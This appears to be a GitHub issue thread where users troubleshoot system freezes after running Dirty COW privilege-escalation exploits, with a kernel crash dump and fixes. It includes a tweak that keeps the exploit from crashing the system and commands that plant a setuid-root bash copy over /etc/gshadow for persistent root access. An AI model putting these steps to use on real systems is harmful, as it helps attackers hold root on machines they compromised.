Freezing computer few seconds after use

[dcland]

After using Cowroot successfully on Ubuntu machine with kernel 4.2 (original) my vm are freezing, the same on real host machine, someone have same issues ?

[AydinChavez]

Yes, having same issue on kernel 4.4.0-43-generic when testing he poc. It is not related only to cowroot but happens on several exploits (also on my self written one).

[psrok1]

Output from crash:

    KERNEL: /usr/lib/debug/boot/vmlinux-4.2.0-30-generic
    DUMPFILE: /var/crash/201610241806/dump.201610241806  [PARTIAL DUMP]
        CPUS: 1
        DATE: Thu Jan  1 01:00:00 1970
      UPTIME: 00:02:01
LOAD AVERAGE: 0.37, 0.25, 0.10
       TASKS: 254
    NODENAME: psrok1-XU-VM
     RELEASE: 4.2.0-30-generic
     VERSION: #36~14.04.1-Ubuntu SMP Fri Feb 26 18:49:23 UTC 2016
     MACHINE: x86_64  (3329 Mhz)
      MEMORY: 2 GB
       PANIC: "kernel BUG at /build/linux-lts-wily-8ENwT0/linux-lts-wily-4.2.0/fs/ext4/inode.c:2350!"
         PID: 28
     COMMAND: "kworker/u2:1"
        TASK: ffff88007caa0000  [THREAD_INFO: ffff88007ca9c000]
         CPU: 0
       STATE: TASK_RUNNING (PANIC)

crash> bt
PID: 28     TASK: ffff88007caa0000  CPU: 0   COMMAND: "kworker/u2:1"
 #0 [ffff88007ca9f590] machine_kexec at ffffffff8105583c
 #1 [ffff88007ca9f5f0] crash_kexec at ffffffff810ff8e3
 #2 [ffff88007ca9f6c0] oops_end at ffffffff81017d1d
 #3 [ffff88007ca9f6f0] die at ffffffff8101823b
 #4 [ffff88007ca9f720] do_trap at ffffffff8101518d
 #5 [ffff88007ca9f780] do_error_trap at ffffffff8101574a
 #6 [ffff88007ca9f840] do_invalid_op at ffffffff81015a30
 #7 [ffff88007ca9f850] invalid_op at ffffffff817bdc5e
    [exception RIP: mpage_prepare_extent_to_map+671]
    RIP: ffffffff8126e75f  RSP: ffff88007ca9f908  RFLAGS: 00010246
    RAX: 01ffff000002007d  RBX: ffff88007ca9f950  RCX: 0000000000000004
    RDX: ffff88007ca9f950  RSI: 0000000000000000  RDI: ffff88007c636678
    RBP: ffff88007ca9f9e8   R8: 0000000000000000   R9: 0000000000000000
    R10: 0000000000000100  R11: 0000000000000220  R12: 0000000000001800
    R13: ffffffffffffffff  R14: ffffea0001ff6180  R15: ffff88007ca9fa88
    ORIG_RAX: ffffffffffffffff  CS: 0010  SS: 0018
 #8 [ffff88007ca9f900] mpage_prepare_extent_to_map at ffffffff8126e645
 #9 [ffff88007ca9f9f0] ext4_writepages at ffffffff8127258d
#10 [ffff88007ca9fb20] do_writepages at ffffffff81182ade
#11 [ffff88007ca9fb30] __writeback_single_inode at ffffffff81216ab5
#12 [ffff88007ca9fb90] writeback_sb_inodes at ffffffff8121720b
#13 [ffff88007ca9fc70] __writeback_inodes_wb at ffffffff81217526
#14 [ffff88007ca9fcc0] wb_writeback at ffffffff81217757
#15 [ffff88007ca9fd40] wb_workfn at ffffffff81217fa1
#16 [ffff88007ca9fe00] process_one_work at ffffffff8108f86e
#17 [ffff88007ca9fe50] worker_thread at ffffffff8108ff1a
#18 [ffff88007ca9fec0] kthread at ffffffff81095499
#19 [ffff88007ca9ff50] ret_from_fork at ffffffff817bc75f

[psrok1]

It seems that turning off periodic writeback makes exploit stable.
echo 0 > /proc/sys/vm/dirty_writeback_centisecs

[0x646e78]

To add to this, if you're in a system which has SELinux enforcing throw this into the shell immediately after exploit success to gain a persistent shell and hopefully avoid the crash (back up /etc/gshadow first if you can!):

cp /bin/bash /etc/gshadow && chmod 04755 /etc/gshadow
exit
/etc/gshadow -ipc 'echo 0 > /proc/sys/vm/dirty_writeback_centisecs'
/etc/gshadow -ip

[dirtycow]

Linked to @auraltension comment from the PoC wiki.

[dirtycow]

Thank you

[arashkgpt]

I have tried echo 0 > /proc/sys/vm/dirty_writeback_centisecs and it works great at first. The problem is with rebooting the system! For some weird reason in reboot the system crashes like it did without executing echo 0 > /proc/sys/vm/dirty_writeback_centisecs!

Any help on this?

[X-HAT]

Hello everyone,
I'm facing a weird problem after runing the exploit i see that a new user has been added the /etc/passwd file "firefart" after that my server crash and reboot. when i check again the /etc/passwd. the file has become normal again.

[evanottinger]

Hello everyone,
I'm facing a weird problem after runing the exploit i see that a new user has been added the /etc/passwd file "firefart" after that my server crash and reboot. when i check again the /etc/passwd. the file has become normal again.

The new password is default functionality.